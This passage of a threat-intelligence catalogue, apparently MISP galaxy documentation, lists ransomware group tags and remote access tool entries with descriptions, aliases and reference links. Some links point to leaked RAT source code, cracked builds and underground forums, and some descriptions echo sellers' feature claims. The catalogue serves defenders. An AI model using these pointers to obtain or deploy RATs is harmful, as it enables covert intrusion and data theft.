https://www.ransomlook.io/group/ms13-089

spirigatito

The tag is: *misp-galaxy:ransomware="spirigatito"*

Table 14092. Table References

Links

https://www.ransomlook.io/group/spirigatito

root

The tag is: *misp-galaxy:ransomware="root"*

Table 14093. Table References

Links
https://www.ransomlook.io/group/root

rustylocker

The tag is: *misp-galaxy:ransomware="rustylocker"*

Table 14094. Table References

Links
https://www.ransomlook.io/group/rustylocker

osiris

The tag is: *misp-galaxy:ransomware="osiris"*

Table 14095. Table References

Links
https://www.ransomlook.io/group/osiris

cry0

The tag is: *misp-galaxy:ransomware="cry0"*

Table 14096. Table References

Links
https://www.ransomlook.io/group/cry0

dark shinigami

The tag is: *misp-galaxy:ransomware="dark shinigami"*

Table 14097. Table References

Links
https://www.ransomlook.io/group/dark shinigami[https://www.ransomlook.io/group/dark shinigami]

kazu

The tag is: *misp-galaxy:ransomware="kazu"*

Table 14098. Table References

Links
https://www.ransomlook.io/group/kazu

minteye

The tag is: *misp-galaxy:ransomware="minteye"*

Table 14099. Table References

Links
https://www.ransomlook.io/group/minteye

tridentlocker

The tag is: *misp-galaxy:ransomware="tridentlocker"*

Table 14100. Table References

Links
https://www.ransomlook.io/group/tridentlocker

sicari

The tag is: *misp-galaxy:ransomware="sicari"*

Table 14101. Table References

Links
https://www.ransomlook.io/group/sicari

black shrantac

aka black shrantac

The tag is: *misp-galaxy:ransomware="black shrantac"*

Table 14102. Table References

Links
https://www.ransomlook.io/group/black shrantac[https://www.ransomlook.io/group/black shrantac]

benzona

The tag is: *misp-galaxy:ransomware="benzona"*

Table 14103. Table References

Links
https://www.ransomlook.io/group/benzona

cipherwolf

The tag is: *misp-galaxy:ransomware="cipherwolf"*

Table 14104. Table References

Links
https://www.ransomlook.io/group/cipherwolf

waissbein

The tag is: *misp-galaxy:ransomware="waissbein"*

Table 14105. Table References

Links
https://www.ransomlook.io/group/waissbein

lynxr

The tag is: *misp-galaxy:ransomware="lynxr"*

Table 14106. Table References

Links
https://www.ransomlook.io/group/lynxr

0apt

This group is newly observed and first observation suggest this is not a serious group, as most - if not all - of the claims cannot be validated and are for random company names.
Analysis of available GitHub repositories and sandbox detonations suggest the actor lists those sandbox runs as victims.
The extracted data should be approached with a high degree of caution.

The tag is: *misp-galaxy:ransomware="0apt"*

Table 14107. Table References

Links

https://www.ransomlook.io/group/0apt

shinyhunters

The tag is: *misp-galaxy:ransomware="shinyhunters"*

Table 14108. Table References

Links
https://www.ransomlook.io/group/shinyhunters

fletchen

The tag is: *misp-galaxy:ransomware="fletchen"*

Table 14109. Table References

Links
https://www.ransomlook.io/group/fletchen

orion

Jan13, 2026: We believe the group might be related to Babuk-Bjorka.

The tag is: *misp-galaxy:ransomware="orion"*

Table 14110. Table References

Links
https://www.ransomlook.io/group/orion

aware

The tag is: *misp-galaxy:ransomware="aware"*

Table 14111. Table References

Links
https://www.ransomlook.io/group/aware

clearwater

The tag is: *misp-galaxy:ransomware="clearwater"*

Table 14112. Table References

Links

https://www.ransomlook.io/group/clearwater

bravox

The tag is: *misp-galaxy:ransomware="bravox"*

Table 14113. Table References

Links
https://www.ransomlook.io/group/bravox

monolock

The tag is: *misp-galaxy:ransomware="monolock"*

Table 14114. Table References

Links
https://www.ransomlook.io/group/monolock

black witch

The tag is: *misp-galaxy:ransomware="black witch"*

Table 14115. Table References

Links
https://www.ransomlook.io/group/black witch[https://www.ransomlook.io/group/black witch]

blackfield

The tag is: *misp-galaxy:ransomware="blackfield"*

Table 14116. Table References

Links
https://www.ransomlook.io/group/blackfield

the green blood group

The tag is: *misp-galaxy:ransomware="the green blood group"*

Table 14117. Table References

Links
https://www.ransomlook.io/group/the green blood group[https://www.ransomlook.io/group/the green blood group]

RAT

remote administration tool or remote access tool (RAT), also called sometimes remote access trojan, is a piece of software or programming that allows a remote "operator" to control a system as if they have physical access to that system..

RAT is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various - raw-data

Iperius Remote

Iperius Remote is advertised with these features: Control remotely any computer with Iperius Remote Desktop Free. For remote support or presentations. Ideal for technical assistance. Easy to use and secure.

The tag is: *misp-galaxy:rat="Iperius Remote"*

Table 14118. Table References

Links
https://www.iperiusremote.com

TeamViewer

TeamViewer is a proprietary computer software package for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers.

The tag is: *misp-galaxy:rat="TeamViewer"*

Table 14119. Table References

Links
https://www.teamviewer.com

JadeRAT

JadeRAT is just one example of numerous mobile surveillanceware families we’ve seen in recent months, indicating that actors are continuing to incorporate mobile tools in their attack chains. Threat actor, using a tool called JadeRAT, targets the mobile phones of ethnic minorities in China, notably Uighurs, for the purpose of espionage.

The tag is: *misp-galaxy:rat="JadeRAT"*

View relationships graph

JadeRAT has relationships with:

- similar: misp-galaxy:malpedia="JadeRAT" with estimative-language:likelihood-probability="likely"

Table 14120. Table References

Links
https://blog.lookout.com/mobile-threat-jaderat
https://www.cfr.org/interactive/cyber-operations/jaderat

Back Orifice

Back Orifice (often shortened to BO) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location.

The tag is: *misp-galaxy:rat="Back Orifice"*

Back Orifice is also known as:

- BO

Table 14121. Table References

Links
http://www.cultdeadcow.com/tools/bo.html
http://www.symantec.com/avcenter/warn/backorifice.html

Netbus

NetBus or Netbus is a software program for remotely controlling a Microsoft Windows computer system over a network. It was created in 1998 and has been very controversial for its potential of being used as a backdoor.

The tag is: *misp-galaxy:rat="Netbus"*

Netbus is also known as:

- NetBus

Table 14122. Table References

Links
http://www.symantec.com/avcenter/warn/backorifice.html
https://www.f-secure.com/v-descs/netbus.shtml

PoisonIvy

Poison Ivy is a RAT which was freely available and first released in 2005.

The tag is: *misp-galaxy:rat="PoisonIvy"*

PoisonIvy is also known as:

- Poison Ivy
- Backdoor.Win32.PoisonIvy
- Gen:Trojan.Heur.PT

View relationships graph

PoisonIvy has relationships with:

- similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"

Table 14123. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml

Sub7

Sub7, or SubSeven or Sub7Server, is a Trojan horse program.[1] Its name was derived by spelling NetBus backwards ("suBteN") and swapping "ten" with "seven". Sub7 was created by Mobman. Mobman has not maintained or updated the software since 2004, however an author known as Read101 has carried on the Sub7 legacy.

The tag is: *misp-galaxy:rat="Sub7"*

Sub7 is also known as:

- SubSeven
- Sub7Server

Table 14124. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2001-020114-5445-99

Beast Trojan

Beast is a Windows-based backdoor trojan horse, more commonly known in the hacking community as a Remote Administration Tool or a "RAT". It is capable of infecting versions of Windows from 95 to 10.

The tag is: *misp-galaxy:rat="Beast Trojan"*

Table 14125. Table References

Links
https://en.wikipedia.org/wiki/Beast_(Trojan_horse)

Bifrost

Bifrost is a discontinued backdoor trojan horse family of more than 10 variants which can infect Windows 95 through Windows 10 (although on modern Windows systems, after Windows XP, its functionality is limited). Bifrost uses the typical server, server builder, and client backdoor program configuration to allow a remote attacker, who uses the client, to execute arbitrary code on the compromised machine (which runs the server whose behavior can be controlled by the server editor).

The tag is: *misp-galaxy:rat="Bifrost"*

Table 14126. Table References

Links
https://www.revolvy.com/main/index.php?s=Bifrost%20(trojan%20horse)&item_type=topic
http://malware-info.blogspot.lu/2008/10/bifrost-trojan.html

Blackshades

Blackshades is the name of a malicious trojan horse used by hackers to control computers remotely. The malware targets computers using Microsoft Windows -based operating systems.[2] According to US officials, over 500,000 computer systems have been infected worldwide with the software.

The tag is: *misp-galaxy:rat="Blackshades"*

View relationships graph

Blackshades has relationships with:

- similar: misp-galaxy:tool="Blackshades" with estimative-language:likelihood-probability="likely"

Table 14127. Table References

Links
https://krebsonsecurity.com/2014/05/blackshades-trojan-users-had-it-coming/

DarkComet

DarkComet is a Remote Administration Tool (RAT) which was developed by Jean-Pierre Lesueur (known as DarkCoderSc), an independent programmer and computer security coder from the United Kingdom. Although the RAT was developed back in 2008, it began to proliferate at the start of 2012.

The tag is: *misp-galaxy:rat="DarkComet"*

DarkComet is also known as:

- Dark Comet

View relationships graph

DarkComet has relationships with:

- similar: misp-galaxy:tool="Dark Comet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="likely"

Table 14128. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/
https://blogs.cisco.com/security/talos/darkkomet-rat-spam

Lanfiltrator

Backdoor.Lanfiltrator is a backdoor Trojan that gives an attacker unauthorized access to a compromised computer. The detection is used for a family of Trojans that are produced by the Backdoor.Lanfiltrator generator.

The tag is: *misp-galaxy:rat="Lanfiltrator"*

Table 14129. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2002-121116-0350-99

Win32.HsIdir

Win32.HsIdir is an advanced remote administrator tool systems was done by the original author

HS32-Idir, it is the development of the release made since 2006 Copyright © 2006-2010 HS32-Idir.

The tag is: *misp-galaxy:rat="Win32.HsIdir"*

Table 14130. Table References

Links
http://lexmarket.su/thread-27692.html
https://www.nulled.to/topic/129749-win32hsidir-rat/

Optix Pro

Optix Pro is a configurable remote access tool or Trojan, similar to SubSeven or BO2K

The tag is: *misp-galaxy:rat="Optix Pro"*

Table 14131. Table References

Links
https://en.wikipedia.org/wiki/Optix_Pro
https://www.symantec.com/security_response/writeup.jsp?docid=2002-090416-0521-99
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20208

Back Orifice 2000

Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker's remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus.

The tag is: *misp-galaxy:rat="Back Orifice 2000"*

Back Orifice 2000 is also known as:

- BO2k

Table 14132. Table References

Links
https://en.wikipedia.org/wiki/Back_Orifice_2000
https://home.mcafee.com/VirusInfo/VirusProfile.aspx?key=10229
https://www.symantec.com/security_response/writeup.jsp?docid=2000-121814-5417-99
https://www.f-secure.com/v-descs/bo2k.shtml

RealVNC

The software consists of a server and client application for the Virtual Network Computing (VNC) protocol to control another

The tag is: *misp-galaxy:rat="RealVNC"*

RealVNC is also known as:

- VNC Connect
- VNC Viewer

Table 14133. Table References

Links
https://www.realvnc.com/

Adwind RAT

Backdoor:Java/Adwind is a Java archive (.JAR) file that drops a malicious component onto the machines and runs as a backdoor. When active, it is capable of stealing user information and may also be used to distribute other malware.

The tag is: *misp-galaxy:rat="Adwind RAT"*

Adwind RAT is also known as:

- UNRECOM
- UNiversal REmote COntrol Multi-Platform
- Frutas
- AlienSpy
- Unrecom
- Jsocket
- JBifrost

View relationships graph

Adwind RAT has relationships with:

- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 14134. Table References

Links
https://securelist.com/securelist/files/2016/02/KL_AdwindPublicReport_2016.pdf
https://www.f-secure.com/v-descs/backdoor_java_adwind.shtml
https://blog.fortinet.com/2016/08/16/jbifrost-yet-another-incarnation-of-the-adwind-rat
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

Albertino Advanced RAT

The tag is: *misp-galaxy:rat="Albertino Advanced RAT"*

Table 14135. Table References

Links
https://www.virustotal.com/en/file/b31812e5b4c63c5b52c9b23e76a5ea9439465ab366a9291c6074bfae5c328e73/analysis/1359376345/

Arcom

The malware is a Remote Access Trojan (RAT), known as Arcom RAT, and it is sold on underground forums for $2000.00.

The tag is: *misp-galaxy:rat="Arcom"*

Table 14136. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-112912-5237-99
http://blog.trendmicro.com/trendlabs-security-intelligence/tsunami-warning-leads-to-arcom-rat/

BlackNix

BlackNix rat is a rat coded in delphi.

The tag is: *misp-galaxy:rat="BlackNix"*

Table 14137. Table References

Links
https://leakforums.net/thread-18123?tid=18123&&pq=1

Blue Banana

Blue Banana is a RAT (Remote Administration Tool) created purely in Java

The tag is: *misp-galaxy:rat="Blue Banana"*

Table 14138. Table References

Links
https://leakforums.net/thread-123872
https://techanarchy.net/2014/02/blue-banana-rat-config/

Bozok

Bozok, like many other popular RATs, is freely available. The author of the Bozok RAT goes by the moniker “Slayer616” and has created another RAT known as Schwarze Sonne, or “SS-RAT” for short. Both of these RATs are free and easy to find — various APT actors have used both in previous targeted attacks.

The tag is: *misp-galaxy:rat="Bozok"*

View relationships graph

Bozok has relationships with:

- similar: misp-galaxy:malpedia="Bozok" with estimative-language:likelihood-probability="likely"

Table 14139. Table References

Links
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html

ClientMesh

ClientMesh is a Remote Administration Application yhich allows a user to control a number of client PCs from around the world.

The tag is: *misp-galaxy:rat="ClientMesh"*

Table 14140. Table References

Links
https://sinister.ly/Thread-ClientMesh-RAT-In-Built-FUD-Crypter-Stable-DDoSer-No-PortForwading-40-Lifetime
https://blog.yakuza112.org/2012/clientmesh-rat-v5-cracked-clean/

CyberGate

CyberGate is a powerful, fully configurable and stable Remote Administration Tool coded in Delphi that is continuously getting developed. Using cybergate you can log the victim’s passwords and can also get the screen shots of his computer’s screen.

The tag is: *misp-galaxy:rat="CyberGate"*

View relationships graph

CyberGate has relationships with:

- similar: misp-galaxy:malpedia="CyberGate" with estimative-language:likelihood-probability="likely"

Table 14141. Table References

Links
http://www.hackersthirst.com/2011/03/cybergate-rat-hacking-facebook-twitter.html
http://www.nbcnews.com/id/41584097/ns/technology_and_science-security/t/cybergate-leaked-e-mails-hint-corporate-hacking-conspiracy/

Dark DDoSeR

The tag is: *misp-galaxy:rat="Dark DDoSeR"*

Table 14142. Table References

Links
http://meinblogzumtesten.blogspot.lu/2013/05/dark-ddoser-v56c-cracked.html

DarkRat

In March 2017, Fujitsu Cyber Threat Intelligence uncovered a newly developed remote access tool referred to by its developer as 'Dark RAT' – a tool used to steal sensitive information from victims. Offered as a Fully Undetectable build (FUD) the RAT has a tiered price model including 24/7 support and an Android version. Android malware has seen a significant rise in interest and in 2015 this resulted in the arrests of a number of suspects involved in the infamous DroidJack malware.

The tag is: *misp-galaxy:rat="DarkRat"*

DarkRat is also known as:

- DarkRAT

Table 14143. Table References

Links
https://www.infosecurity-magazine.com/blogs/the-dark-rat/
http://darkratphp.blogspot.lu/

Greame

The tag is: *misp-galaxy:rat="Greame"*

Table 14144. Table References

Links
https://sites.google.com/site/greymecompany/greame-rat-project

HawkEye

HawkEye is a popular RAT that can be used as a keylogger, it is also able to identify login events and record the destination, username, and password.

The tag is: *misp-galaxy:rat="HawkEye"*

Table 14145. Table References

Links
http://securityaffairs.co/wordpress/54837/hacking/one-stop-shop-hacking.html
https://www.bleepingcomputer.com/news/security/zoho-heavily-used-by-keyloggers-to-transmit-stolen-data/

jRAT

jRAT is the cross-platform remote administrator tool that is coded in Java, Because its coded in Java it gives jRAT possibilities to run on all operation systems, Which includes Windows, Mac OSX and Linux distributions.

The tag is: *misp-galaxy:rat="jRAT"*

jRAT is also known as:

- JacksBot

View relationships graph

jRAT has relationships with:

- similar: misp-galaxy:malpedia="jRAT" with estimative-language:likelihood-probability="likely"

Table 14146. Table References

Links
https://www.rekings.com/shop/jrat/

jSpy

jSpy is a Java RAT.

The tag is: *misp-galaxy:rat="jSpy"*

View relationships graph

jSpy has relationships with:

- similar: misp-galaxy:malpedia="jSpy" with estimative-language:likelihood-probability="likely"

Table 14147. Table References

Links
https://leakforums.net/thread-479505

LuxNET

Just saying that this is a very badly coded RAT by the biggest skid in this world, that is XilluX. The connection is very unstable, the GUI is always flickering because of the bad Multi-Threading and many more bugs.

The tag is: *misp-galaxy:rat="LuxNET"*

Table 14148. Table References

Links
https://leakforums.net/thread-284656

NJRat

NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams.

The tag is: *misp-galaxy:rat="NJRat"*

NJRat is also known as:

- Njw0rm

View relationships graph

NJRat has relationships with:

- similar: misp-galaxy:rat="Kiler RAT" with estimative-language:likelihood-probability="likely"

Table 14149. Table References

Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/njrat

Pandora

Remote administrator tool that has been developed for Windows operation system. With advanced features and stable structure, Pandora's structure is based on advanced client / server architecture. was configured using modern technology.

The tag is: *misp-galaxy:rat="Pandora"*

Table 14150. Table References

Links
https://www.rekings.com/pandora-rat-2-2/

Predator Pain

Unlike Zeus, Predator Pain and Limitless are relatively simple keyloggers. They indiscriminately steal web credentials and mail client credentials, as well as capturing keystrokes and screen captures. The output is human readable, which is good if you are managing a few infected machines only, but the design doesn't scale well when there are a lot of infected machines and logs involved.

The tag is: *misp-galaxy:rat="Predator Pain"*

Predator Pain is also known as:

- PredatorPain

View relationships graph

Predator Pain has relationships with:

- similar: misp-galaxy:malpedia="HawkEye Keylogger" with estimative-language:likelihood-probability="likely"

Table 14151. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/predator-pain-and-limitless-behind-the-fraud/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-predator-pain-and-limitless.pdf

Punisher RAT

Remote administration tool

The tag is: *misp-galaxy:rat="Punisher RAT"*

Table 14152. Table References

Links
http://punisher-rat.blogspot.lu/

SpyGate

This is tool that allow you to control your computer form anywhere in world with full support to unicode language.

The tag is: *misp-galaxy:rat="SpyGate"*

Table 14153. Table References

Links
https://www.rekings.com/spygate-rat-3-2/
https://www.symantec.com/security_response/attacksignatures/detail.jsp%3Fasid%3D27950
http://spygate-rat.blogspot.lu/

Small-Net

RAT

The tag is: *misp-galaxy:rat="Small-Net"*

Small-Net is also known as:

- SmallNet

Table 14154. Table References

Links
http://small-net-rat.blogspot.lu/

Vantom

Vantom is a free RAT with good option and very stable.

The tag is: *misp-galaxy:rat="Vantom"*

Table 14155. Table References

Links
https://www.rekings.com/vantom-rat/

Xena

Xena RAT is a fully-functional, stable, state-of-the-art RAT, coded in a native language called Delphi, it has almost no dependencies.

The tag is: *misp-galaxy:rat="Xena"*

Table 14156. Table References

Links
https://leakforums.net/thread-497480

XtremeRAT

This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware.

The tag is: *misp-galaxy:rat="XtremeRAT"*

Table 14157. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html

Netwire

NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers.

The tag is: *misp-galaxy:rat="Netwire"*

Table 14158. Table References

Links
https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data

Gh0st RAT

Gh0st RAT is a Trojan horse for the Windows platform that the operators of GhostNet used to hack into some of the most sensitive computer networks on Earth. It is a cyber spying computer program. .

The tag is: *misp-galaxy:rat="Gh0st RAT"*

View relationships graph

Gh0st RAT has relationships with:

- similar: misp-galaxy:malpedia="Ghost RAT" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"

Table 14159. Table References

Links
https://www.volexity.com/blog/2017/03/23/have-you-been-haunted-by-the-gh0st-rat-today/

Plasma RAT

Plasma RAT's stub is fairly advanced, having many robust features. Some of the features include botkilling, Cryptocurrencies Mining (CPU and GPU), persistence, anti-analysis, torrent seeding, AV killer, 7 DDoS methods and a keylogger. The RAT is coded in VB.Net. There is also a Botnet version of it (Plasma HTTP), which is pretty similar to the RAT version.

The tag is: *misp-galaxy:rat="Plasma RAT"*

Table 14160. Table References

Links
http://www.zunzutech.com/blog/security/analysis-of-plasma-rats-source-code/

Babylon

Babylon is a highly advanced remote administration tool with no dependencies. The server is developed in C++ which is an ideal language for high performance and the client is developed in C#(.Net Framework 4.5)

The tag is: *misp-galaxy:rat="Babylon"*

Table 14161. Table References

Links
https://www.rekings.com/babylon-rat/

Imminent Monitor

RAT

The tag is: *misp-galaxy:rat="Imminent Monitor"*

Table 14162. Table References

Links
http://www.imminentmethods.info/

DroidJack

DroidJack is a RAT (Remote Access Trojan/Remote Administration Tool) nature of remote accessing, monitoring and managing tool (Java based) for Android mobile OS. You can use it to perform a complete remote control to any Android devices infected with DroidJack through your PC. It comes

with powerful function and user-friendly operation – even allows attackers to fully take over the mobile phone and steal, record the victim's private data wilfully.

The tag is: *misp-galaxy:rat="DroidJack"*

Table 14163. Table References

Links
http://droidjack.net/

Quasar RAT

Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface

The tag is: *misp-galaxy:rat="Quasar RAT"*

View relationships graph

Quasar RAT has relationships with:

- similar: misp-galaxy:malpedia="Quasar RAT" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="QUASARRAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="likely"

Table 14164. Table References

Links
https://github.com/quasar/QuasarRAT
https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

Dendroid

Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google's Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have

follow in the footsteps of Zeus and SpyEye by having simple-to-use command and control panels. The code appeared to be leaked somewhere around 2014. It was noted that an apk binder was included in the leak, which provided a simple way to bind Dendroid to legitimate applications.

The tag is: *misp-galaxy:rat="Dendroid"*

View relationships graph

Dendroid has relationships with:

- similar: misp-galaxy:mitre-malware="Dendroid - S0301" with estimative-language:likelihood-probability="likely"

Table 14165. Table References

Links
https://github.com/qqshow/dendroid
https://github.com/nyx0/Dendroid

Ratty

A Java R.A.T. program

The tag is: *misp-galaxy:rat="Ratty"*

View relationships graph

Ratty has relationships with:

- similar: misp-galaxy:malpedia="Ratty" with estimative-language:likelihood-probability="likely"

Table 14166. Table References

Links
https://github.com/shotskeber/Ratty

RaTRon

Java RAT

The tag is: *misp-galaxy:rat="RaTRon"*

Table 14167. Table References

Links
http://level23hacktools.com/forum/showthread.php?t=27971
https://leakforums.net/thread-405562?tid=405562&&pq=1

Arabian-Attacker RAT

The tag is: *misp-galaxy:rat="Arabian-Attacker RAT"*

Table 14168. Table References

Links
http://arabian-attacker.software.informer.com/

Androrat

Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server.

The tag is: *misp-galaxy:rat="Androrat"*

Table 14169. Table References

Links
https://latesthackingnews.com/2015/05/31/how-to-hack-android-phones-with-androrat/
https://github.com/wszf/androrat

Adzok

Remote Administrator

The tag is: *misp-galaxy:rat="Adzok"*

Table 14170. Table References

Links
http://adzok.com/

Schwarze-Sonne-RAT

The tag is: *misp-galaxy:rat="Schwarze-Sonne-RAT"*

Schwarze-Sonne-RAT is also known as:

- SS-RAT
- Schwarze Sonne

Table 14171. Table References

Links
https://github.com/mwsrc/Schwarze-Sonne-RAT

Cyber Eye RAT

The tag is: *misp-galaxy:rat="Cyber Eye RAT"*

Table 14172. Table References

Links
https://www.indetectables.net/viewtopic.php?t=24245

Batch NET

The tag is: *misp-galaxy:rat="Batch NET"*

RWX RAT

The tag is: *misp-galaxy:rat="RWX RAT"*

Table 14173. Table References

Links
https://leakforums.net/thread-530663

Spynet

Spy-Net is a software that allow you to control any computer in world using Windows Operating System.He is back using new functions and good options to give you full control of your remote computer.Stable and fast, this software offer to you a good interface, creating a easy way to use all his functions

The tag is: *misp-galaxy:rat="Spynet"*

Table 14174. Table References

Links
http://spynet-rat-officiel.blogspot.lu/

CTOS

The tag is: *misp-galaxy:rat="CTOS"*

Table 14175. Table References

Links
https://leakforums.net/thread-559871

Virus RAT

The tag is: *misp-galaxy:rat="Virus RAT"*

Table 14176. Table References

Links
https://github.com/mwsrc/Virus-RAT-v8.0-Beta

Atelier Web Remote Commander

The tag is: *misp-galaxy:rat="Atelier Web Remote Commander"*

Table 14177. Table References

Links
http://www.atelierweb.com/products/

drat

A distributed, parallelized (Map Reduce) wrapper around Apache™ RAT to allow it to complete on large code repositories of multiple file types where Apache™ RAT hangs forev

The tag is: *misp-galaxy:rat="drat"*

Table 14178. Table References

Links
https://github.com/chrismattmann/drat

MoSucker

MoSucker is a powerful backdoor - hacker's remote access tool.

The tag is: *misp-galaxy:rat="MoSucker"*

Table 14179. Table References

Links
https://www.f-secure.com/v-descs/mosuck.shtml

Theef

The tag is: *misp-galaxy:rat="Theef"*

Table 14180. Table References

Links

http://www.grayhatforum.org/thread-4373-post-5213.html#pid5213
http://www.spy-emergency.com/research/T/Theef_Download_Creator.html
http://www.spy-emergency.com/research/T/Theef.html

ProRat

ProRat is a Microsoft Windows based backdoor trojan, more commonly known as a Remote Administration Tool. As with other trojan horses it uses a client and server. ProRat opens a port on the computer which allows the client to perform numerous operations on the server (the machine being controlled).

The tag is: *misp-galaxy:rat="ProRat"*

Table 14181. Table References

Links
http://prorat.software.informer.com/
http://malware.wikia.com/wiki/ProRat

Setro

The tag is: *misp-galaxy:rat="Setro"*

Table 14182. Table References

Links
https://sites.google.com/site/greymecompany/setro-rat-project

Indetectables RAT

The tag is: *misp-galaxy:rat="Indetectables RAT"*

Table 14183. Table References

Links
http://www.connect-trojan.net/2015/03/indetectables-rat-v.0.5-beta.html

Luminosity Link

The tag is: *misp-galaxy:rat="Luminosity Link"*

Table 14184. Table References

Links
https://luminosity.link/

Orcus

The tag is: *misp-galaxy:rat="Orcus"*

Table 14185. Table References

Links
https://orcustechnologies.com/

Blizzard

The tag is: *misp-galaxy:rat="Blizzard"*

Table 14186. Table References

Links
http://www.connect-trojan.net/2014/10/blizzard-rat-lite-v1.3.1.html

Kazybot

The tag is: *misp-galaxy:rat="Kazybot"*

Table 14187. Table References

Links
https://www.rekings.com/kazybot-lite-php-rat/
http://telussecuritylabs.com/threats/show/TSL20150122-06

BX

The tag is: *misp-galaxy:rat="BX"*

Table 14188. Table References

Links
http://www.connect-trojan.net/2015/01/bx-rat-v1.0.html

death

The tag is: *misp-galaxy:rat="death"*

Sky Wyder

The tag is: *misp-galaxy:rat="Sky Wyder"*

Table 14189. Table References

Links
https://rubear.me/threads/sky-wyder-2016-cracked.127/

DarkTrack

The tag is: *misp-galaxy:rat="DarkTrack"*

Table 14190. Table References

Links
https://www.rekings.com/darktrack-4-alien/
http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml

xRAT

Free, Open-Source Remote Administration Tool. xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using .NET Framework 2.0).

The tag is: *misp-galaxy:rat="xRAT"*

View relationships graph

xRAT has relationships with:

- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="xrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="XRat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="XRat" with estimative-language:likelihood-probability="likely"

Table 14191. Table References

Links
https://github.com/c4bbage/xRAT

Biodox

The tag is: *misp-galaxy:rat="Biodox"*

Table 14192. Table References

Links
http://sakhackingarticles.blogspot.lu/2014/08/biodox-rat.html

Offence

Offense RAT is a free renote administration tool made in Delphi 9.

The tag is: *misp-galaxy:rat="Offence"*

Table 14193. Table References

Links
https://leakforums.net/thread-31386?tid=31386&&pq=1

Apocalypse

The tag is: *misp-galaxy:rat="Apocalypse"*

View relationships graph

Apocalypse has relationships with:

- similar: misp-galaxy:ransomware="Apocalypse" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Apocalypse" with estimative-language:likelihood-probability="likely"

Table 14194. Table References

Links
https://leakforums.net/thread-36962

JCage

The tag is: *misp-galaxy:rat="JCage"*

Table 14195. Table References

Links
https://leakforums.net/thread-363920

Nuclear RAT

Nuclear RAT (short for Nuclear Remote Administration Tool) is a backdoor trojan horse that infects Windows NT family systems (Windows 2000, XP, 2003).

